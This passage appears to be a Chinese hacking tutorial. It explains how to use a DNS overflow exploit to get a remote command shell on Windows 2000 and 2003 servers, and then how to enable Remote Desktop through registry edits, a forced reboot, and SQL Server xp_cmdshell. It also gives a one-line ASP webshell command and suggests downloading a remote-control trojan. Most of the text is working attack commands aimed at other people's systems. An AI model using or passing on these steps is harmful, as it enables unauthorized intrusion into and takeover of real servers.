1、2000系統
簡要說一下如何進行DNS溢出攻擊。我用的溢出利用程式是dns.exe,在CMD下運行它可以看到它的使用參數等資訊。執行"dns -s IP"命令檢測目標IP是否存在DNS溢出漏洞。在圖中我們可以看出目標主機存在DNS溢出漏洞,作業系統為Windows 2000!接著我們進行溢出攻擊,執行"dns -t 2000all IP 1207"後提示要我們檢測返回的1100連接埠的shell。"telnet IP 1100"成功得到返回的cmdshell。注意目錄為c:\WINNT\system32,頂部也明顯可以看到Windows 2000相關字樣。接著我們需要做的是使用"echo"命令寫入一個3389.reg註冊表檔案。將如下代碼一行一行地複製到cmdshell視窗後按斷行符號執行:
echo Windows Registry Editor Version 5.00 >3389.reg
echo. >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg
echo "Enabled"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg
echo "ShutdownWithoutLogon"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg
echo "TSEnabled"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg
echo "Hotkey"="1" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
簡單說明一下,">"符號是覆蓋寫入檔案,如無此檔案則建立,有則覆蓋原來的內容寫入。">>"是追加寫入,即在原有檔案內容的基礎上在後面寫入內容。這裡是寫入內容到3389.reg檔案中!需要注意的是第二行,那個作用是寫入一行空格,至於為什麼需要這樣,那是因為.reg檔案的格式必須如此!成功寫入完畢後接著執行匯入操作,執行"regedit /s 3389.reg"。這樣註冊表檔案就已經順利匯入到註冊表裡去了。不過需要注意的是在cmdshell下不要輸錯任何一個字元,否則將無法執行,建議先自己打好在記事本上,確保無誤之後再複製到cmdshell視窗執行。然後需要做的事就是重啟了,如何使目標伺服器重啟呢?和朋友多方測試後,覺得用下面這個方法比較妥當。在cmdshell下執行如下代碼:
@ECHO OFF & cd/d %temp% & echo [version] > {out}.inf
(set inf=InstallHinfSection DefaultInstall)
echo signature=$chicago$ >> {out}.inf
echo [defaultinstall] >> {out}.inf
rundll32 setupapi,%inf% 1 %temp%\{out}.inf
按順序將以上五行代碼一行一行地複製到cmdshell上,複製完一行按一次斷行符號執行,五行都執行完畢後,伺服器就會重啟的了。至於原理什麼的我就不廢話了。當然了,讓伺服器重啟的方法比較多,比如結束掉系統關鍵進程、代碼類比按鍵等都是可以的,不過個人認為上面推薦的這個方法比較保險!如無意外,等待伺服器完成重啟之後再串連目標發現遠端桌面服務已經成功開啟了。至此Windows 2000作業系統溢出後返回的cmdshell下開啟遠端桌面服務就成功完成了。
2、2003系統
相對於2000的系統來說,2003cmdshell下開啟遠端桌面服務就比較容易一些了,起碼無需重啟嘛!第一種方法也是用"echo"命令寫入一個 3389.reg檔案,再"regedit /s 3389.reg"匯入註冊表檔案即可開啟,比較簡單,與上面介紹的2000的開啟方法類似。將如下代碼一行一行地複製到cmdshell視窗後按斷行符號執行:
echo Windows Registry Editor Version 5.00 >3389.reg
echo. >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg
echo "fDenyTSConnections"=dword:00000000 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg
echo "PortNumber"=dword:00000d3d >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000d3d >>3389.reg
完成以上操作後再執行"regedit /s 3389.reg"匯入即可生效!不過這個方法相對來說比較麻煩,也比較複雜一些。我們還可以用另外一種比較簡單的方法來開啟遠端桌面服務的,嘿嘿。在介紹另一個操作方法之前,我們先來熟悉下2003系統下遠端桌面服務的一個最關鍵的註冊表索引值。
在"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"
下數值名稱為"fDenyTSConnections"的這一項,可以看到它的數值資料為1或0。數值為1的時候關閉遠端桌面服務,數值為0的時候開啟遠端桌面服務。換句話說,我們只要可以在cmdshell下更改這個關鍵的註冊表索引值資料就可以達到實現開啟遠端桌面服務的目的了!有幸的是,在2003下有一個"reg"命令完全可以做到這一點,嘿嘿。這裡我們找一台作業系統為2003的伺服器,通過和上面介紹的同樣方法溢出後返回一個cmdshell。當我們嘗試串連的時候會發現根本無法串連上去。下面詳細說明一下用"reg"命令開啟遠端桌面服務。執行:
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"
我們發現"fDenyTSConnections"索引值資料為"0x1"。這個是十六進位數的1。上面提到,資料為1則沒有開啟遠端桌面服務。我們要做的就是把"0x1"改成"0x0"!直接用"reg add"是不行的,必須把原來索引值刪掉再添加!在cmdshell下執行:
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
會詢問是否"要刪除註冊表值 fDenyTSConnections 嗎",當然Yes了。再執行:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
提示操作成功完成,9。這樣就把"fDenyTSConnections"的值改為"0x0"了,我們可以執行:
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"
我們可以查看一下,看看是不是真的改掉了,發現已經成功更改了資料。現在再來串連伺服器的3389看看,發現已經可以成功串連上了,加個使用者進去參觀咯。至此2003下cmdshell開啟遠端桌面服務的方法也介紹完了。
四、其他
當然了,溢出後也不一定要非要在cmdshell下開啟遠端桌面服務。可以echo個vbs檔案,下載遠端控制木馬,然後在cmdshell裡運行一下木馬,上線就OK了。還有就是可以查詢一下目標IP是否綁定有網站,然後找到網站目錄,再用echo個一句話木馬進去(命令是:echo "<%execute request("cmd")%>" >WEB路徑\test.asp),然後提交大馬呀,上傳開3389的工具再開啟也行!總之方法不只一個,能達到目的就是好方法
***下面是利用資料庫xp_cmdshell 開啟:
exec xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
查看狀態
exec xp_cmdshell 'reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"'